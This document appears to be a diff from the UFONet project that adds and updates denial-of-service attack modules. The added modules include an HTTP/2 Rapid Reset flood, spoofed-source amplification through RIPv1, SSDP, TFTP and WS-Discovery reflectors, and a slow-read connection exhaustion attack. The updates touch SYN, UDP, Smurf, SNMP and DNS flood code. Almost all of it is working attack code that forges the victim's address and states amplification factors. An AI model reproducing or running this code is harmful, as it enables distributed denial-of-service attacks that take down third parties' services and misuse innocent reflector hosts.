+def flashbangize(target_host, target_port, rounds):
+    n=0
+    try:
+        ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
+        ctx.check_hostname = False
+        ctx.verify_mode = ssl.CERT_NONE
+        ctx.set_alpn_protocols(['h2'])
+        for x in range(int(rounds)):
+            n += 1
+            try:
+                raw = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+                raw.settimeout(8)
+                raw.connect((target_host, target_port))
+                sock = ctx.wrap_socket(raw, server_hostname=target_host)
+                if sock.selected_alpn_protocol() != 'h2':
+                    print("[Info] [AI] [FLASHBANG] Pulse ["+str(n)+"] target did not negotiate HTTP/2 -> [PASSING!]")
+                    sock.close()
+                    continue
+                sock.sendall(H2_PREFACE + _settings_frame() + _settings_ack())
+                hpack = _hpack_get_minimal(target_host)
+                streams_per_pulse = 100
+                buf = b''
+                for sid in range(1, streams_per_pulse * 2, 2):
+                    buf += _headers_frame(sid, hpack)
+                    buf += _rst_stream(sid)
+                sock.sendall(buf)
+                print("[Info] [AI] [FLASHBANG] Pulse ["+str(n)+"] fired ["+str(streams_per_pulse)+"] HEADERS+RST_STREAM streams -> [HIT!]")
+                try:
+                    sock.shutdown(socket.SHUT_RDWR)
+                except Exception:
+                    pass
+                sock.close()
+            except Exception as e:
+                print("[Error] [AI] [FLASHBANG] Pulse ["+str(n)+"] failed: " + type(e).__name__)
+    except:
+        print("[Error] [AI] [FLASHBANG] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class RAPIDRESET(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] HTTP/2 Rapid Reset (FLASHBANG) is ready to fire: [", rounds, "pulses ]")
+        port = 443
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+            port = 80
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+        if '/' in target:
+            target = target.split('/', 1)[0]
+        if ':' in target:
+            target, _p = target.rsplit(':', 1)
+            try:
+                port = int(_p)
+            except Exception:
+                pass
+        try:
+            ip = socket.gethostbyname(target)
+        except Exception:
+            ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [FLASHBANG] Targeting 'localhost' -> [OK!]\n")
+        flashbangize(target, port, rounds)

+ 80 - 0
core/mods/ripv1.py

@@ -0,0 +1,80 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+from urllib.parse import urlparse
+try:
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
+
+ripv1_file = "botnet/ripv1.txt"
+
+# UFONet RIPv1 Amplification (HALCYON) - amp factor ~131x (UDP/520, request whole routing table)
+def halcyonize(ip, rounds):
+    n=0
+    try:
+        from core._botnet import load_botnet_file, warn_placeholders
+        reflectors, _empty, _all_placeholder = load_botnet_file(ripv1_file)
+        if _empty:
+            print("[Error] [AI] [HALCYON] botnet/ripv1.txt is empty -> [Aborting!]")
+            return
+        if _all_placeholder:
+            warn_placeholders("HALCYON", ripv1_file, kind="ripv1")
+            return
+        payload = (b'\x01\x01\x00\x00'
+                   b'\x00\x00\x00\x00'
+                   b'\x00\x00\x00\x00'
+                   b'\x00\x00\x00\x00'
+                   b'\x00\x00\x00\x00'
+                   b'\x00\x00\x00\x10')
+        for x in range(int(rounds)):
+            n += 1
+            print("[Info] [AI] [HALCYON] Tracing 'route' ["+str(n)+"] through legacy routers! -> [SLOWING!]")
+            for r in reflectors:
+                try:
+                    sport = 520
+                    packet = IP(dst=r, src=ip) / UDP(sport=sport, dport=520) / Raw(load=payload)
+                    send(packet, verbose=0)
+                    print("[Info] [AI] [HALCYON] Traced 'route' ["+str(n)+"] IS INTERACTING WITH ["+r+"] -> [AMPLIFYING!]")
+                except Exception:
+                    print("[Info] [AI] [HALCYON] Traced 'route' ["+str(n)+"] FAILED to reach ["+r+"] -> [PASSING!]")
+    except:
+        print("[Error] [AI] [HALCYON] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class RIPV1(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] RIPv1 Amplification (HALCYON) is ready to fire: [", rounds, "routes ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+        try:
+            ip = socket.gethostbyname(target)
+        except Exception:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
+                url = urlparse(target)
+                a = r.resolve(url.netloc, "A")
+                for rd in a:
+                    ip = str(rd)
+            except Exception:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [HALCYON] Targeting 'localhost' -> [OK!]\n")
+            return
+        halcyonize(ip, rounds)

+ 95 - 0
core/mods/slowread.py

@@ -0,0 +1,95 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import socket, ssl, time, random, sys
+from urllib.parse import urlparse
+
+# UFONet Slow Read (TRACTOR) - LORIS-style but reading the response 1 byte at a time
+# holds the TCP window open by advertising a tiny receive window
+def tractorize(host, port, rounds, hold=30):
+    n=0
+    use_tls = (port == 443)
+    ctx = None
+    if use_tls:
+        ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
+        ctx.check_hostname = False
+        ctx.verify_mode = ssl.CERT_NONE
+    socks = []
+    try:
+        for i in range(int(rounds)):
+            n += 1
+            try:
+                raw = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+                raw.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 256)
+                raw.settimeout(10)
+                raw.connect((host, port))
+                if use_tls:
+                    sock = ctx.wrap_socket(raw, server_hostname=host)
+                else:
+                    sock = raw
+                req = (
+                    "GET /?_=" + str(random.randint(1, 10**9)) + " HTTP/1.1\r\n"
+                    "Host: " + host + "\r\n"
+                    "User-Agent: Mozilla/5.0 UFONet-TRACTOR\r\n"
+                    "Accept: */*\r\n"
+                    "Connection: keep-alive\r\n"
+                    "Range: bytes=0-1\r\n"
+                    "\r\n"
+                )
+                sock.sendall(req.encode('utf-8'))
+                socks.append(sock)
+                print("[Info] [AI] [TRACTOR] 'tractor beam' ["+str(n)+"] -> [CONNECTED!]")
+            except Exception as e:
+                print("[Error] [AI] [TRACTOR] Failed beam ["+str(n)+"]: " + type(e).__name__)
+        deadline = time.time() + hold
+        while time.time() < deadline and socks:
+            for s in list(socks):
+                try:
+                    chunk = s.recv(1)
+                    if not chunk:
+                        socks.remove(s)
+                        try: s.close()
+                        except Exception: pass
+                except socket.timeout:
+                    continue
+                except Exception:
+                    socks.remove(s)
+                    try: s.close()
+                    except Exception: pass
+            time.sleep(2)
+    finally:
+        for s in socks:
+            try: s.close()
+            except Exception: pass
+
+class SLOWREAD(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] Slow Read (TRACTOR) is ready to fire: [", rounds, "beams ]")
+        port = 80
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+            port = 443
+        if '/' in target:
+            target = target.split('/', 1)[0]
+        if ':' in target:
+            target, _p = target.rsplit(':', 1)
+            try:
+                port = int(_p)
+            except Exception:
+                pass
+        try:
+            socket.gethostbyname(target)
+        except Exception:
+            print("[Info] [AI] [TRACTOR] Could not resolve target -> [Aborting!]")
+            return
+        tractorize(target, port, rounds)

+ 12 - 9
core/mods/smurf.py

@@ -3,7 +3,7 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2024 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
@@ -12,10 +12,13 @@ Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 import sys, random, socket
 import urllib.parse
 try:
-    from scapy import *
-except:
-    print("\nError importing: scapy lib.\n")
-    sys.exit(2)
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
 
 # UFONet ICMP broadcast attack (SMURF)
 def randInt():
@@ -34,8 +37,8 @@ def sIP(base_stations): # extract 'base stations'
             try:
                 import dns.resolver
                 r = dns.resolver.Resolver()
-                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
-                a = r.query(url.netloc, "A") # A record
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
+                a = r.resolve(url.netloc, "A") # A record
                 for rd in a:
                     s_zombie_ip = str(rd)
                 bs[s_zombie] = s_zombie_ip # add to dict of resolved domains
@@ -93,9 +96,9 @@ class SMURF(object):
             try:
                 import dns.resolver
                 r = dns.resolver.Resolver()
-                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
                 url = urlparse(target)
-                a = r.query(url.netloc, "A") # A record
+                a = r.resolve(url.netloc, "A") # A record
                 for rd in a:
                     ip = str(rd)
             except:

+ 18 - 10
core/mods/sniper.py

@@ -3,7 +3,7 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2024 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
@@ -11,10 +11,13 @@ Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
 import sys, random
 try:
-    from scapy import *
-except:
-    print("\nError importing: scapy lib.\n")
-    sys.exit(2)
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
 
 snmp_file = "botnet/snmp.txt" # SNMP servers IP list
 
@@ -24,9 +27,14 @@ oid ="1.3.6.1.2.1.1.1" # OID sysDescr
 def sniperize(ip, rounds):
     n=0
     try: # (SNMP) Amplification attack uses publically accessible SNMP servers to flood a target with SNMP response traffic
-        with open(snmp_file) as f: # extract SNMP servers from file
-            snmp_d = f.read().splitlines()
-        f.close()
+        from core._botnet import load_botnet_file, warn_placeholders
+        snmp_d, _empty, _all_ph = load_botnet_file(snmp_file)
+        if _empty:
+            print("[Error] [AI] [SNIPER] botnet/snmp.txt is empty -> [Aborting!]")
+            return
+        if _all_ph:
+            warn_placeholders("SNIPER", snmp_file, kind="snmp")
+            return
         p_num=0
         for x in range (0,int(rounds)):
             try:
@@ -58,9 +66,9 @@ class SNIPER(object):
             try:
                 import dns.resolver
                 r = dns.resolver.Resolver()
-                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
                 url = urlparse(target)
-                a = r.query(url.netloc, "A") # A record
+                a = r.resolve(url.netloc, "A") # A record
                 for rd in a:
                     ip = str(rd)
             except:

+ 12 - 9
core/mods/spray.py

@@ -3,7 +3,7 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
@@ -12,10 +12,13 @@ Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 import sys, random, socket
 import urllib.parse
 try:
-    from scapy import *
-except:
-    print("\nError importing: scapy lib.\n")
-    sys.exit(2)
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
 
 # UFONet TCP SYN Reflector (SPRAY)
 def randInt():
@@ -34,8 +37,8 @@ def sIP(base_stations): # extract 'base stations'
             try:
                 import dns.resolver
                 r = dns.resolver.Resolver()
-                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
-                a = r.query(url.netloc, "A") # A record
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
+                a = r.resolve(url.netloc, "A") # A record
                 for rd in a:
                     s_zombie_ip = str(rd)
                 bs[s_zombie] = s_zombie_ip # add to dict of resolved domains
@@ -105,9 +108,9 @@ class SPRAY(object):
             try:
                 import dns.resolver
                 r = dns.resolver.Resolver()
-                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
                 url = urlparse(target)
-                a = r.query(url.netloc, "A") # A record
+                a = r.resolve(url.netloc, "A") # A record
                 for rd in a:
                     ip = str(rd)
             except:

+ 79 - 0
core/mods/ssdp.py

@@ -0,0 +1,79 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+from urllib.parse import urlparse
+try:
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
+
+ssdp_file = "botnet/ssdp.txt"
+
+# UFONet SSDP/UPnP Amplification (PULSAR) - amp factor ~30x (M-SEARCH ssdp:all)
+def pulsarize(ip, rounds):
+    n=0
+    try:
+        from core._botnet import load_botnet_file, warn_placeholders
+        reflectors, _empty, _all_placeholder = load_botnet_file(ssdp_file)
+        if _empty:
+            print("[Error] [AI] [PULSAR] botnet/ssdp.txt is empty -> [Aborting!]")
+            return
+        if _all_placeholder:
+            warn_placeholders("PULSAR", ssdp_file, kind="ssdp")
+            return
+        payload = (b'M-SEARCH * HTTP/1.1\r\n'
+                   b'HOST: 239.255.255.250:1900\r\n'
+                   b'MAN: "ssdp:discover"\r\n'
+                   b'MX: 1\r\n'
+                   b'ST: ssdp:all\r\n\r\n')
+        for x in range(int(rounds)):
+            n += 1
+            print("[Info] [AI] [PULSAR] Pulsing 'beacon' ["+str(n)+"] across the upnp grid! -> [SLOWING!]")
+            for r in reflectors:
+                try:
+                    sport = random.randint(2000, 65535)
+                    packet = IP(dst=r, src=ip) / UDP(sport=sport, dport=1900) / Raw(load=payload)
+                    send(packet, verbose=0)
+                    print("[Info] [AI] [PULSAR] Pulsed 'beacon' ["+str(n)+"] IS INTERACTING WITH ["+r+"] -> [AMPLIFYING!]")
+                except:
+                    print("[Info] [AI] [PULSAR] Pulsed 'beacon' ["+str(n)+"] FAILED to reach ["+r+"] -> [PASSING!]")
+    except:
+        print("[Error] [AI] [PULSAR] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class SSDP(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] SSDP Amplification (PULSAR) is ready to fire: [", rounds, "beacons ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
+                url = urlparse(target)
+                a = r.resolve(url.netloc, "A")
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [PULSAR] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
+            return
+        pulsarize(ip, rounds)

+ 10 - 7
core/mods/tachyon.py

@@ -3,7 +3,7 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
@@ -11,10 +11,13 @@ Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
 import sys, random
 try:
-    from scapy import *
-except:
-    print("\nError importing: scapy lib.\n")
-    sys.exit(2)
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
 
 dns_file = "botnet/dns.txt" # OpenDNS servers IP list
 qtype = ["ANY", "A","AAAA","CNAME","MX","NS","PTR","CERT","SRV","TXT", "SOA"] # Query types
@@ -68,9 +71,9 @@ class TACHYON(object):
             try:
                 import dns.resolver
                 r = dns.resolver.Resolver()
-                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
                 url = urlparse(target)
-                a = r.query(url.netloc, "A") # A record
+                a = r.resolve(url.netloc, "A") # A record
                 for rd in a:
                     ip = str(rd)
             except:

+ 75 - 0
core/mods/tftp.py

@@ -0,0 +1,75 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+from urllib.parse import urlparse
+try:
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
+
+tftp_file = "botnet/tftp.txt"
+
+# UFONet TFTP Amplification (CARGO) - amp factor ~60x (RFC 1350, RRQ for known file)
+def cargoize(ip, rounds):
+    n=0
+    try:
+        from core._botnet import load_botnet_file, warn_placeholders
+        reflectors, _empty, _all_placeholder = load_botnet_file(tftp_file)
+        if _empty:
+            print("[Error] [AI] [CARGO] botnet/tftp.txt is empty -> [Aborting!]")
+            return
+        if _all_placeholder:
+            warn_placeholders("CARGO", tftp_file, kind="tftp")
+            return
+        payload = b'\x00\x01' + b'startup-config\x00' + b'netascii\x00'
+        for x in range(int(rounds)):
+            n += 1
+            print("[Info] [AI] [CARGO] Hauling 'crate' ["+str(n)+"] across the dock! -> [SLOWING!]")
+            for r in reflectors:
+                try:
+                    sport = random.randint(2000, 65535)
+                    packet = IP(dst=r, src=ip) / UDP(sport=sport, dport=69) / Raw(load=payload)
+                    send(packet, verbose=0)
+                    print("[Info] [AI] [CARGO] Hauled 'crate' ["+str(n)+"] IS INTERACTING WITH ["+r+"] -> [AMPLIFYING!]")
+                except:
+                    print("[Info] [AI] [CARGO] Hauled 'crate' ["+str(n)+"] FAILED to reach ["+r+"] -> [PASSING!]")
+    except:
+        print("[Error] [AI] [CARGO] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class TFTP(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] TFTP Amplification (CARGO) is ready to fire: [", rounds, "crates ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
+                url = urlparse(target)
+                a = r.resolve(url.netloc, "A")
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [CARGO] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
+            return
+        cargoize(ip, rounds)

+ 11 - 11
core/mods/ufoack.py

@@ -3,22 +3,22 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2024 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
 import sys, random, socket
+from urllib.parse import urlparse
 try:
-    from urlparse import urlparse
-except:
-    from urllib.parse import urlparse
-try:
-    from scapy import *
-except:
-    print("\nError importing: scapy lib.\n")
-    sys.exit(2)
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
 
 # UFONet TCP 'ACK+PUSH' packet attack (UFOACK)
 def randIP():
@@ -74,9 +74,9 @@ class UFOACK(object):
             try:
                 import dns.resolver
                 r = dns.resolver.Resolver()
-                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
                 url = urlparse(target)
-                a = r.query(url.netloc, "A") # A record
+                a = r.resolve(url.netloc, "A") # A record
                 for rd in a:
                     ip = str(rd)
             except:

+ 11 - 11
core/mods/uforst.py

@@ -3,22 +3,22 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
 import sys, random, socket
+from urllib.parse import urlparse
 try:
-    from urlparse import urlparse
-except:
-    from urllib.parse import urlparse
-try:
-    from scapy import *
-except:
-    print("\nError importing: scapy lib.\n")
-    sys.exit(2)
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
 
 # UFONet TCP 'RST+FIN' packet attack (UFORST)
 def randIP():
@@ -74,9 +74,9 @@ class UFORST(object):
             try:
                 import dns.resolver
                 r = dns.resolver.Resolver()
-                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
                 url = urlparse(target)
-                a = r.query(url.netloc, "A") # A record
+                a = r.resolve(url.netloc, "A") # A record
                 for rd in a:
                     ip = str(rd)
             except:

+ 11 - 11
core/mods/ufosyn.py

@@ -3,22 +3,22 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2024 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
 import sys, random, socket, time
+from urllib.parse import urlparse
 try:
-    from urlparse import urlparse
-except:
-    from urllib.parse import urlparse
-try:
-    from scapy import *
-except:
-    print("\nError importing: scapy lib.\n")
-    sys.exit(2)
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
 
 # UFONet TCP SYN Flooder (UFOSYN)
 def randIP():
@@ -74,9 +74,9 @@ class UFOSYN(object):
             try:
                 import dns.resolver
                 r = dns.resolver.Resolver()
-                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
                 url = urlparse(target)
-                a = r.query(url.netloc, "A") # A record
+                a = r.resolve(url.netloc, "A") # A record
                 for rd in a:
                     ip = str(rd)
             except:

+ 11 - 11
core/mods/ufoudp.py

@@ -3,22 +3,22 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2024 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
 import sys, random, socket
+from urllib.parse import urlparse
 try:
-    from urlparse import urlparse
-except:
-    from urllib.parse import urlparse
-try:
-    from scapy import *
-except:
-    print("\nError importing: scapy lib.\n")
-    sys.exit(2)
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
 
 # UFONet UDP flooder (UFOUDP)
 def randIP():
@@ -65,9 +65,9 @@ class UFOUDP(object):
             try:
                 import dns.resolver
                 r = dns.resolver.Resolver()
-                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
                 url = urlparse(target)
-                a = r.query(url.netloc, "A") # A record
+                a = r.resolve(url.netloc, "A") # A record
                 for rd in a:
                     ip = str(rd)
             except:

+ 88 - 0
core/mods/wsdisco.py

@@ -0,0 +1,88 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket, uuid
+from urllib.parse import urlparse
+try:
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
+
+wsdisco_file = "botnet/wsdisco.txt"
+
+# UFONet WS-Discovery Amplification (SONAR) - amp factor ~10x (SOAP Probe)
+def sonarize(ip, rounds):
+    n=0
+    try:
+        from core._botnet import load_botnet_file, warn_placeholders
+        reflectors, _empty, _all_placeholder = load_botnet_file(wsdisco_file)
+        if _empty:
+            print("[Error] [AI] [SONAR] botnet/wsdisco.txt is empty -> [Aborting!]")
+            return
+        if _all_placeholder:
+            warn_placeholders("SONAR", wsdisco_file, kind="wsdisco")
+            return
+        for x in range(int(rounds)):
+            n += 1
+            print("[Info] [AI] [SONAR] Pinging 'sonar' ["+str(n)+"] through the deep! -> [SLOWING!]")
+            for r in reflectors:
+                try:
+                    msg_id = str(uuid.uuid4())
+                    soap = (
+                        '<?xml version="1.0" encoding="utf-8"?>'
+                        '<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" '
+                        'xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" '
+                        'xmlns:wsd="http://schemas.xmlsoap.org/ws/2005/04/discovery">'
+                        '<soap:Header>'
+                        '<wsa:To>urn:schemas-xmlsoap-org:ws:2005:04:discovery</wsa:To>'
+                        '<wsa:Action>http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</wsa:Action>'
+                        '<wsa:MessageID>urn:uuid:' + msg_id + '</wsa:MessageID>'
+                        '</soap:Header>'
+                        '<soap:Body><wsd:Probe/></soap:Body>'
+                        '</soap:Envelope>'
+                    ).encode('utf-8')
+                    sport = random.randint(2000, 65535)
+                    packet = IP(dst=r, src=ip) / UDP(sport=sport, dport=3702) / Raw(load=soap)
+                    send(packet, verbose=0)
+                    print("[Info] [AI] [SONAR] Pinged 'sonar' ["+str(n)+"] IS INTERACTING WITH ["+r+"] -> [AMPLIFYING!]")
+                except:
+                    print("[Info] [AI] [SONAR] Pinged 'sonar' ["+str(n)+"] FAILED to reach ["+r+"] -> [PASSING!]")
+    except:
+        print("[Error] [AI] [SONAR] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class WSDISCO(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] WS-Discovery Amplification (SONAR) is ready to fire: [", rounds, "sonars ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
+                url = urlparse(target)
+                a = r.resolve(url.netloc, "A")
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [SONAR] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
+            return
+        sonarize(ip, rounds)

+ 11 - 11
core/mods/xmas.py

@@ -3,22 +3,22 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
 import sys, random, socket
